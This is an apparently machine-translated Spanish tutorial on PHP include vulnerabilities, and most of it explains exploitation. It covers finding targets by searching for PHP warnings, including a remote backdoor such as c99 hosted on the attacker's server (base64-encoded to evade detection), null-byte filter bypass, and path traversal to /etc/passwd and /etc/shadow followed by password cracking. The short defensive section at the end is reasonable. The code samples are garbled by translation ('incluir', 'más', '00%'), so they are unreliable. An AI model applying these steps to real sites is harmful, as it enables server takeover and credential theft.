PHP Incluir defecto, ¿qué es y cómo protegerse contra él?

incluir defecto
incluir defecto

Última actualización: 1 de enero de 2023

Ya hemos hablado en tutoriales anteriores sobre la falla de carga y la Defecto XSS. Hoy les presentaré el PHP incluye defecto que es sin duda la falla de PHP más famosa en el mundo de los sitios web, debido a un error de programación cometido por un desarrollador que se preocupa poco por la seguridad.

Veremos en detalle cómo explotar este defecto y, por supuesto, cómo protegerse de él.

Y no, el artículo no se autodestruirá en 5 segundos :), así que tómate el tiempo para leerlo para aprender más sobre la falla. PHP incluye

PHP Incluir ¿qué es?

Esta función permite, como su nombre indica, incluir una página en otra, se usa así:


incluir(“página.php”);
?>

Ejemplos

SSi todas sus páginas requieren la página mysql.php en la que se encuentra la información de conexión de la base de datos, debe incluirse en cada una de sus páginas en lugar de volver a escribir el equivalente de mysql.php en todas ellas.

La PHP incluye función le permite tener solo una página mysql.php, y todas las páginas de su sitio la incluirán (el mismo caso para el menú, encabezado y pie de página)

¿Cómo funciona PHP Include?

Imagina que tenemos una página index.php con el siguiente código:


if(isset($_GET['page'])) // comprueba si la variable _GET existe
incluir($_GET['página']);
más
incluir('default.php');
?>

Si escribimos: http:// index.php?page=astuces.php

Este fragmento incluirá (y ejecutará) la página "tips.php". Hasta ahora, nada complicado.
Ahora, ¿qué pasará si escribo la siguiente URL:
http://index.php?page=http://www.google.fr

¡Entonces la página de Google se ejecutará y se mostrará en nuestro servidor! Imagina que esta página en cuestión es una puerta trasera como c99.php. Entonces podemos tomar el control del servidor de alojamiento. Así podemos listar todos los archivos del servidor, editarlos, crearlos, acceder a la base de datos, etc…

¿Detecta la presencia de un error de inclusión de PHP?

Para detectar un defecto PHP incluye en un sitio web, basta con probar todos los parámetros posibles de una URL y observar el resultado. El objetivo es bloquear el sitio web tratando de incluir una página que no existe.
Si una URL es vulnerable, deberíamos recibir una advertencia de PHP como esta:

  • Advertencia: principal ([PARAMETRE_INCORRECT]): no se pudo abrir la transmisión: no existe ese archivo o directorio en [URL_DE_LA_PAGE] .php en línea [NUMERO_DE_LIGNE]
  • Advertencia: main(): Error al abrir '[PARAMETER_INCORRECT]' para inclusión (include_path='.:/usr/share/php:/usr/share/pear') en [URL_DE_LA_PAGE].php en línea [NUMERO_DE_LIGNE]

Escribe en el buscador uno de los dos avisos y encontrarás lo que buscas! 😀 ¡Siempre puedes intentarlo pero debes saber que es ilegal!

¿Cómo explotar este defecto?

Explote el defecto de inclusión de forma remota

En primer lugar, debe tener un script PHP (puerta trasera) listo para usar.

Para ese tipo en Google, una puerta trasera precisa como r57, c99, c100 myshell, etc.. Es preferible codificarlo en codificación base64 para no ser detectado.

Supongamos que encontró la falla de inclusión de PHP en un sitio web de PHP y permite la inclusión de cualquier página. Ahora todo lo que tiene que hacer es colocar su puerta trasera en un servidor FTP o en un servidor gratuito que no ejecute PHP.

Cualquiera que sea la solución que elija, puede llamar a la página vulnerable de esta manera:
index.php? page = http: //votre-serveur.com/porte-derobee.php
(si está en un servidor FTP, obviamente reemplace http: // por ftp: // e indique el login / pass de la forma habitual).

Y verá su puerta trasera mostrada de la siguiente manera:

Interfaz de puerta trasera

En ocasiones, nos encontramos con una página vulnerable pero con un código diferente al que vimos en el párrafo anterior, por ejemplo:


si(isset($_GET['página']))
incluir($_GET['página'] . “.php”);
más
incluir('default.php');
?>

Aquí la extensión “.php” se agrega automáticamente a la variable. Esto obliga a nuestro archivo backdoor.php a convertirse en backdoor.php.php y no se ejecutará en el servidor vulnerable.

Entonces, ¿qué?

Existe una solución muy sencilla para escapar de este filtro. Esta es la técnica de byte nulo. Consiste en colocar un cero ASCII al final de nuestra URL. Por tanto, será necesario incluir:
index.php? page = http: //notre-serveur.com/porte-derobee.php00%

explicación

La función include() será procesada por una función programada en lenguaje C. Y en C, el final de una cadena de caracteres se designa con un byte nulo (x00 en notación clásica). esta es la razón por la que nuestra cadena de caracteres (door-derobee.php%00.php) se truncará al encontrar el carácter %00.

El local incluye defecto

Hasta ahora solo hemos intentado incluir una puerta trasera remota. ¡Pero tenga en cuenta que es completamente posible, con esta falla, ejecutar un archivo ubicado en el servidor vulnerable! Y además, a veces es la única posibilidad, porque algunas medidas de seguridad desactivan la capacidad de incluir código ubicado en otro servidor.

Por lo tanto, podemos mostrar todas las páginas dentro del índice, de esta manera: http://www.cible.com/index.php?page=/test/test.php
Y así podremos navegar en todos los directorios del sitio, incluso del servidor si no es chmoder

En la práctica, es bastante simple, de hecho, intentaremos adivinar en qué directorio se encuentra un archivo interesante como htpasswd, probando sucesivamente parámetros como "../.htpasswd" o "../../.htpasswd" o " ../expediente/.htpasswd”.

O podemos volver a la raíz del servidor y luego ir al directorio que nos interese hasta que veamos un archivo sensible, por ejemplo:

http://cible.com/index.php?page=../../../../../../../etc/ passwd

Una vez que se recuperan los archivos de contraseña, puede descifrarlos con un programa adecuado como John The Ripper o Cain.

Aquí hay otros archivos que pueden ser interesantes para visitar, incluso si a veces (como para etc/shadow) solo el usuario root puede acceder a ellos.

/ Etc / passwd
/ etc / shadow
/ etc / group
/ etc / security / group
/ etc / security / passwd
/ etc / security / user

Protéjase de la vulnerabilidad Incluir

La mejor manera de protegerse de un incluir PHP es de :

  • Haciendo una prueba para cada página de su sitio, ciertamente es larga, pero no hay nada mejor que pueda ver después.
    if($página==”consejos”) { include(”consejos.php”) }
    if($página==”fotos”) {include(”fotos.php”)}
    .
    más {incluir("index.php") }
  • En php4, desactive el comando allow_url_fopen. Este último permite la lectura de archivos ubicados en otro servidor;
  • En php5, desactive el comando allow_url_include. Esta es una mejora con respecto a php4, que distingue los archivos leídos de los archivos incluidos.

Como en todos los artículos, espero haber cumplido con tus expectativas y haberte podido traer algo nuevo a través de este post. También espero que todos los webmasters sean conscientes del peligro de esta falla.